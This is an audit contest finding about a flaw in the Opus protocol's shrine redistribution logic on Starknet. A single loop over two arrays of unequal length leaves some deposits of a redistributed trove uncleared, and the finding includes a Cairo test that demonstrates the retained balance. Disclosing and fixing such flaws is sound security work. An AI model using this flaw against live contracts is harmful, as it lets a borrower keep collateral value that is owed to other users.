Opus - TrungOre's results

Lines of code

https://github.com/code-423n4/2024-01-opus/blob/4720e9481a4fb20f4ab4140f9cc391a23ede3817/src/core/shrine.cairo#L2018-L2033 https://github.com/code-423n4/2024-01-opus/blob/4720e9481a4fb20f4ab4140f9cc391a23ede3817/src/core/shrine.cairo#L1746-L1755

Vulnerability details

Description

The shrine::redistribute_helper() function is employed to reallocate the debt and yang from a redistributed trove to other troves within the shrine. This function iterates through all the yangs associated with the given trove_id, redistributes the trove's yang and debts, and stores the updated state of the contract's STORAGE in two arrays: new_yang_totals and updated_trove_yang_balances.

Upon completion, the function utilizes these two calculated arrays to update the corresponding STORAGE values, namely self.yang_total and self.deposits of the trove.

https://github.com/code-423n4/2024-01-opus/blob/4720e9481a4fb20f4ab4140f9cc391a23ede3817/src/core/shrine.cairo#L2018-L2033

let mut new_yang_totals: Span<YangBalance> = new_yang_totals.span();
let mut updated_trove_yang_balances: Span<YangBalance> = updated_trove_yang_balances.span();
loop {
    match new_yang_totals.pop_front() {
        Option::Some(total_yang_balance) => {
            let updated_trove_yang_balance: YangBalance = *updated_trove_yang_balances.pop_front().unwrap();
            self
                .deposits
                .write((updated_trove_yang_balance.yang_id, trove_id), updated_trove_yang_balance.amount);


            self.yang_total.write(*total_yang_balance.yang_id, *total_yang_balance.amount);
        },
        Option::None => { break; },
    };
};

It's noteworthy that a single loop is employed instead of separate loops for each array, implying that the function assumes equal lengths for the two arrays, new_yang_totals and updated_trove_yang_balances.

However, a potential flaw arises when exploiting the invariant above by utilizing zero amount yang. If the yang value of the distributed trove is zero, the outermost loop merely updates the updated_trove_yang_balances for that yang to the old value and skips the iteration. Nevertheless, the new_yang_totals array remains unchanged during this iteration, causing its length to be less than that of updated_trove_yang_balances. Consequently, certain yang balances of the trove_id remain unaltered, potentially benefiting the user.

https://github.com/code-423n4/2024-01-opus/blob/4720e9481a4fb20f4ab4140f9cc391a23ede3817/src/core/shrine.cairo#L1746-L1755

loop {
    match trove_yang_balances_copy.pop_front() {
        Option::Some(yang_balance) => {
            let trove_yang_amt: Wad = (*yang_balance).amount;
            let yang_id_to_redistribute = (*yang_balance).yang_id;
            // Skip over this yang if it has not been deposited in the trove
            if trove_yang_amt.is_zero() {
                updated_trove_yang_balances.append(*yang_balance);
                continue;
            }
            ...
}

Impact

If a user doesn't deposit in all available yangs, at least one yang in the user's trove will retain its value following the redistribution. This results in the user's trove value being greater than anticipated after the redistribution. --> An attacker has the ability to retain the reserved value of their trove even when it undergoes redistribution.

Proof of Concept

Place this test in src/tests/shrine/test_H2.cairo, and then add mod test_H2; to src/lib.cairo -> mod tests -> mod shrine.

mod test_H2 {
    use core::zeroable::Zeroable;
    use debug::PrintTrait;
    use opus::core::shrine::shrine as shrine_contract;
    use opus::interfaces::IShrine::{IShrineDispatcher, IShrineDispatcherTrait};
    use opus::tests::common;
    use opus::tests::shrine::utils::shrine_utils;
    use opus::types::{ExceptionalYangRedistribution, Health, YangBalance, YangRedistribution};
    use snforge_std::{
        declare, ContractClass, ContractClassTrait, start_prank, stop_prank, CheatTarget, spy_events, SpyOn, EventSpy,
        EventAssertions
    };
    use starknet::ContractAddress;
    use wadray::{Ray, RayZeroable, RAY_ONE, RAY_PERCENT, Wad, WadZeroable, WAD_ONE};

    //
    // Tests
    //

    const WAD_40: u128 = 40000000000000000000; // 40 (Wad)
    const WAD_20: u128 = 20000000000000000000; // 20 (Wad)

    #[test]
    fn test_H2() {
        let shrine: IShrineDispatcher = shrine_utils::shrine_setup_with_feed(Option::None);

        let yangs: Span<ContractAddress> = shrine_utils::three_yang_addrs_reversed();
        let yang1_addr = *yangs.at(2);
        let yang2_addr = *yangs.at(1);
        let yang3_addr = *yangs.at(0);

        start_prank(CheatTarget::All, shrine_utils::admin());

        // @dev create TROVE 1: 0 - 20 - 40
        let trove1_owner = common::trove1_owner_addr();
        let redistributed_trove: u64 = common::TROVE_1;
        shrine.deposit(yang2_addr, redistributed_trove, WAD_20.into());
        shrine.deposit(yang3_addr, redistributed_trove, WAD_40.into());

        let old_trove1_yang3_deposit = shrine.get_deposit(yang3_addr, redistributed_trove);

        // @dev create TROVE 2: 40 - 20 - 20
        let trove2_owner = common::trove2_owner_addr();
        let recipient_trove: u64 = common::TROVE_2;
        shrine.deposit(yang1_addr, recipient_trove, WAD_40.into());
        shrine.deposit(yang2_addr, recipient_trove, WAD_20.into());
        shrine.deposit(yang3_addr, recipient_trove, WAD_20.into());

        // @dev redistribute trove 1 (100%)
        let redistributed_trove_health: Health = shrine.get_trove_health(redistributed_trove);
        shrine.melt(trove1_owner, redistributed_trove, WadZeroable::zero()); 

        assert(shrine.get_redistributions_count() == 0, 'wrong init redistribution count');
        shrine.redistribute(redistributed_trove, redistributed_trove_health.debt, RAY_ONE.into());
        assert(shrine.get_redistributions_count() == 1, 'wrong redistribution count');

        assert(shrine.get_deposit(yang1_addr, redistributed_trove).is_zero(), '<trove 1 - yang 1> != 0');
        assert(shrine.get_deposit(yang2_addr, redistributed_trove).is_zero(), '<trove 1 - yang 2> != 0');

        // @audit value of trove 1 - yang 3 is not cleared 
        assert(shrine.get_deposit(yang3_addr, redistributed_trove).is_non_zero(), '<trove 1 - yang 3> == 0');
        assert(
            shrine.get_deposit(yang3_addr, redistributed_trove) == old_trove1_yang3_deposit, 
            '<trove 1 - yang 3> != old'
        );

    }
}

Run the test file using the command

scarb test test_H2

The assertion indicates that, following the redistribution, the amount of yang3 in trove1 is retained.

Tools Used

Manual review Foundry

Recommended Mitigation Steps

Consider utilizing two separate loops instead of a single loop to update self.deposit and self.yang_total.

Assessed type

Loop